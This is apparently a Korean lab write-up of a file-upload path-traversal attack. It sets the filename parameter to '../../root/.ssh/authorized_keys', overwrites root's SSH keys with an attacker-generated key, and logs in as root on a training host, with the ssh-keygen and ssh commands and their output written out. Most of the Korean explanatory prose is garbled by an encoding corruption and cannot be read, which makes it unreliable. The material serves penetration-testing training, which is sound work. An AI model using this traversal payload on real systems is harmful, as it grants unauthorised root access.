ํ์ผ ์ ๋ก๋ ์ ์คํ์ด ๋ถ๊ฐ๋ฅํ ๊ฒฝ์ฐ(e.g. ์คํ ๊ถํ์ด ์๋ ์ ๋ก๋ ํด๋)์ ์ฌ์ฉํ ์ ์๋ ์ทจ์ฝ์ ๋ถ์ ๋ฐฉ๋ฒ์ ์์๋ณธ๋ค.
์ฐ์ ํ์ผ ์ ๋ก๋ ์ filename์ ๋งค๊ฐ๋ณ์๋ฅผ ์กฐ์ํ์ฌ ../../../../../../../test.txt๋ฅผ ๋ฃ์ด ์๋ฒ๋ก ์ ๋ฌํ ๊ฒฝ์ฐ ์๋ฒ ์ธก์ด ์ ์ ์๋ต์ ํ ๊ฒฝ์ฐ ์ทจ์ฝ ๊ฐ๋ฅ์ฑ์ด ์์ ์ ์๋ค. ํนํ ์ฌ๊ธฐ์ ๋ฃจํธ(/) ๊ฒฝ๋ก์์๋ ์ ์ ์ ๋ก๋ ๋ ๊ฒ์ด๋ผ๋ฉด root์ ํ๋๋ ํฐ๋ฆฌ๋ ์ง์ ์ ๊ทผ์ด ๊ฐ๋ฅํจ์ ์ ์ ์๋ค.
kali@kali:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa): fileup
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in fileup
Your public key has been saved in fileup.pub
...
kali@kali:~$ cat fileup.pub > authorized_keys
์ด์ ์นผ๋ฆฌ์์ ssh ํค ์์ ์ง์ ๋ง๋ค์ด ์ค๋ค.
fileup์ ๋น๊ณต๊ฐ ํค์ด๊ณ
fileup.pub(authorized_keys)๋ ๊ณต๊ฐ ํค์ด๋ค.
์๋ฒ์๊ฒ ์ ๋ก๋๋ ํค๋ authorized_keys ์ฆ ๊ณต๊ฐํค์ด๋ค.
๋ฐฉ๊ธ ์ filename ๋งค๊ฐ๋ณ์๋ฅผ ์กฐ์ํ ๊ฒ ์ฒ๋ผ ์ด๋ฒ์๋ ../../../../../../../../root/.ssh/authorized_keys๋ฅผ ๋ฃ์ด์ ๋ฃจํธ์ ํ๋๋ ํฐ๋ฆฌ/.ssh/authorized_keys๋ฅผ ๋ฎ์ด์ฐ๊ฒ ๋ง๋ ๋ค.
kali@kali:~$ rm ~/.ssh/known_hosts
kali@kali:~$ ssh -p 2222 -i fileup root@mountaindesserts.com
The authenticity of host '[mountaindesserts.com]:2222 ([192.168.50.16]:2222)' can't be established.
ED25519 key fingerprint is SHA256:R2JQNI3WJqpEehY2Iv9QdlMAoeB3jnPvjJqqfDZ3IXU.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
...
root@76b77a6eae51:~#
์ดํ ๋น๊ณต๊ฐ ํค(fileup)๋ก ๋์ ์๋ฒ์ ssh ์๋ฒ๋ก ๋ก๊ทธ์ธ์ ์๋ํ๋ฉด ํจ์ค์๋ ์์ด๋ ๋ฐ๋ก ๋ก๊ทธ์ธ์ด ๋๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
์ง๊ธ์ root ๋๋ ํฐ๋ฆฌ๋ ์ ๊ทผ ๊ฐ๋ฅํ๋ค๋ ์ ์ฌํ์ ์ด๋ฃจ์ด์ ธ ์ฝ๊ฒ ๊ณต๊ฒฉ์ ์ฑ๊ณตํ์์ง๋ง, ์ค์ ๋ก๋ ์ ๊ทผ ๊ถํ์ด ๋์ด ์๊ธฐ ๋๋ฌธ์ ์ข ๋ ์์ ๊ณผ์ ์ด ํ์ํ ์๋ ์๋ค. ํ์ง๋ง ์ด๋ฌํ ๋ฐฉ์์ ํ์ฉํด ์์๋ ฅ์ ๋ฐํํ๋ค๋ฉด ๋ ๋ค๋ฅธ ๊ณต๊ฒฉ๋ค๋ ์ถฉ๋ถํ ๊ฐ๋ฅํ ๊ฒ์ด๋ผ๊ณ ์๊ฐ์ด ๋ ๋ค.